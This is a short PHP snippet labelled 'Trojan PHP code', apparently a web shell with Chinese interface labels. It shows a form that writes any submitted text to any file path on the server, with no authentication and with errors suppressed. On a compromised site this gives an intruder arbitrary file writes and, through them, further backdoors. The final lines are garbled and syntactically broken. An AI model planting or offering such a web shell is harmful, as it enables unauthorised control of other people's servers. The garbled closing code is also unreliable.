Trojan PHP code

<?php
header("content-Type: text/html; charset=utf-8");
if(get_magic_quotes_gpc()) foreach($_POST as $k=>$v) $_POST[$k] = stripslashes($v);
?>
<form method="POST">
 保存文件名: <input type="text" name="file" size="60" value="<? echo str_replace("\\","/",__FILE__) ?>">
 <br><br>
 <textarea name="text" COLS="70" ROWS="18" ></textarea>
 <br><br>
 <input type="submit" name="submit" value="保存">
 <form>
 <?php
 if(isset($_POST["file"]))
 {
 $fp = @fopen($_POST["file"],"wb");
 echo @fwrite($fp,_POST $ [ "text" ?]) " Successfully saved !" : " Save failed !" ; @Fclose ( $ fp ) ; } >?